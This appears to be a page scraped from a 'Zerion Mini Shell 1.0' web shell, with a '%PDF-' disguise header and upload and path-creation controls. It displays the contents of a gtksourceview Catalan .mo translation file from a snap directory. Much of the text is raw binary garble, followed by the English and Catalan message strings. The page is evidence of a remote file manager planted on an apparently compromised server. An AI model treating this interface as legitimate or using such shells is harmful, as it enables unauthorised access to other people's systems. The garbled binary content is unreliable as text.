%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/ca/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/ca/LC_MESSAGES/gtksourceview-5.mo

��q��,�	�	�	
�	�	�	�	�	�	�	

0
7
@
G

_

j
x
�
{�
,?S[h}��)�/�0&6F]5����	
.
/@
p
�
�
=�

�
�
�

S#"w)������15<PYqw~�
���������
�' 0^Q���%�
��-/7@MU8a����%�38"l%��X�"@Y1q���cl{������� �&-5K]r#���C
KYl
�����8�AA];�J�6&]iy�=�@�,/BWr�����
k1}@�-�'.6;?{��!�����
��.=BNT
c4n%�j�49A>M
�
�-���&�#;<x(�� �(�  J8 (� '� � ��  k!�!$�!8�!'".d[:e`GpVH\FR*ki](^bM@+ 9$XP87	Z?5TA
DcOIE!K='2aWfU6<_jlJ4LgY-%,B
hC/m>QoN"#13)&;0Sqn%d of %u-- INSERT ---- REPLACE ---- VISUAL ---- VISUAL BLOCK ---- VISUAL LINE --AdwaitaAdwaita DarkAll _Lower CaseAll _Upper CaseAn style scheme for AdwaitaArabicArmenianBalticBlue based color schemeC++ HeaderC/ObjC HeaderCG Shader LanguageC_hange CaseCannot create a regex for all the transitions, the syntax highlighting process will be slower than usual.
The error was: %sCelticCentral EuropeanChinese SimplifiedChinese TraditionalClassicClassic DarkClassic color schemeClassic dark color schemeCobaltCobalt LightColor scheme used in the Kate text editorColor scheme using Solarized dark color paletteColor scheme using Solarized light color paletteColor scheme using Tango color paletteConversion from character set “%s” to “UTF-8” is not supportedCould not open converter from “%s” to “UTF-8”CyrillicCyrillic/RussianCyrillic/UkrainianDOS BatchDark color scheme used in the Kate text editorDark color scheme using the Tango color paletteDjango TemplateDocument WordsError during conversion: %sError while parsing replacement text “%s” at char %lu: %sFile too big.GDB LogGeorgianGreekHebrewHebrew VisualHighlighting a single line took too much time, syntax highlighting will be disabledIncomplete UTF-8 sequence in inputInvalid byte sequence in conversion inputInvalid object, not initializedJapaneseKoreanLLVM IRMarkupMissing main language definition (id = “%s”).NordicNot a regular file.OblivionOpenGL Shading LanguageOtherOthersRPM specRomanianScientificScriptSelect a StyleSnippetsSolarized DarkSolarized LightSourceSouth EuropeanTangoTera TemplateThaiThe buffer contains invalid characters.The file is externally modified.There was a character encoding conversion error and it was needed to use a fallback character.TurkishUnicodeUnknownUnknown id “%s” in regex “%s”VietnameseWestern['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']_Cancel_Details_Invert Case_Select_Title Casecontext “%s” cannot contain a \%%{...@start} commanddigit expectedduplicated context id “%s”gettext translationhexadecimal digit expectedhexadecimal digit or “}” expectedillegal symbolic referencein regex “%s”: backreferences are not supportedinvalid context reference “%s”missing “<” in symbolic referencestray final “\”style override used with wildcard context reference in language “%s” in ref “%s”unfinished symbolic referenceunknown context “%s”unknown escape sequenceusing \C is not supported in language definitionszero-length symbolic referenceProject-Id-Version: gtksourceview
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gtksourceview/issues
PO-Revision-Date: 2023-08-23 17:39+0100
Last-Translator: maite guix <maite.guix@me.com>
Language-Team: Catalan <tradgnome@softcatala.org>
Language: ca
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n != 1;
X-Generator: Poedit 3.0.1
%d de %u-- INSEREIX ---- SUBSTITUEIX ---- VISUAL ---- BLOC VISUAL ---- LÍNIA VISUAL --AdwaitaAdwaita foscTot en minúscu_lesTot en majúsc_ulesUn esquema d'estil per a AdwaitaAràbicArmeniBàlticEsquema de color blauCapçalera de C++Capçalera de C/ObjCLlenguatge d'ombrejat CGCa_nvia les majúscules/minúsculesNo s'ha pogut crear una expressió regular per a totes les transicions. El procés de ressaltat serà més lent de l'habitual.
L'error ha sigut: %sCèlticCentreeuropeuXinès simplificatXinès tradicionalClàssicFosc clàssicEsquema de color clàssicEsquema de color fosc clàssicCobaltCobalt clarEsquema de color que s'utilitza en l'editor de text KateEsquema de color que utilitza la paleta de colors Solarized foscaEsquema de color que utilitza la paleta de colors Solarized claraEsquema de color que utilitza la paleta de colors del TangoNo es pot realitzar la conversió del joc de caràcters «%s» a «UTF-8»No s'ha pogut obrir el conversor de «%s» a «UTF-8»Ciríl·licCiríl·lic/RusCiríl·lic/UcraïnèsLot del DOSEsquema de color fosc que s'utilitza en l'editor de text KateEsquema de color fosc que utilitza la paleta de colors del TangoPlantilla DjangoParaules del documentS'ha produït un error durant la conversió: %sS'ha produït un error en analitzar el text de substitució «%s» al caràcter %lu: %sFitxer massa gran.Registre del GDBGeorgiàGrecHebreuHebreu visualS'ha trigat massa en ressaltar una sola línia, per la qual cosa s'inhabilitarà el ressaltat de la sintaxiL'entrada conté una seqüència UTF-8 incompletaLa seqüència de bytes a l'entrada de conversió no és vàlidaL'objecte no és vàlid, no s'ha inicialitzatJaponèsCoreàLLVM IRMarcatgeManca la definició del llenguatge principal (id = «%s»).NòrdicEl fitxer no és normal.OblivionLlenguatge d'ombrejat de l'OpenGLAltresAltresEspecificació RPMRomanèsCientíficScriptSelecciona un estilRetallsSolarized foscSolarized clarFontSud-europeuTangoPlantilla TeraTailandèsLa memòria intermèdia conté caràcters invàlids.S'ha modificat el fitxer externament.S'ha produït un error de conversió de caràcters i ha estat necessari utilitzar un caràcter alternatiu.TurcUnicodeDesconegudaIdentificador «%s» desconegut en l'expressió regular «%s»VietnamitaOccidental['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']_Cancel·la_Detalls_Inverteix les majúscules/minúscules_SeleccionaMajúscules/minúscules del _títolen el context «%s» no hi pot haver l'ordre \%%{...@start}s'esperava un dígitidentificador de context duplicat «%s»traducció del gettexts'esperava un dígit hexadecimals'esperava un dígit hexadecimal o «}»referència simbòlica il·legalen l'expressió regular «%s»: no es permeten les referències cap enrerereferència de context «%s» no vàlidafalta «<» a la referència simbòlica«\» final extraviats'ha utilitzat la sobreescriptura d'estil amb una referència de context comodí en el llenguatge «%s» a la referència «%s»referència simbòlica inacabadacontext desconegut «%s»seqüència d'escapament desconegudano es pot utilitzar \C en les definicions de llenguatgesreferència simbòlica de longitud zero

Zerion Mini Shell 1.0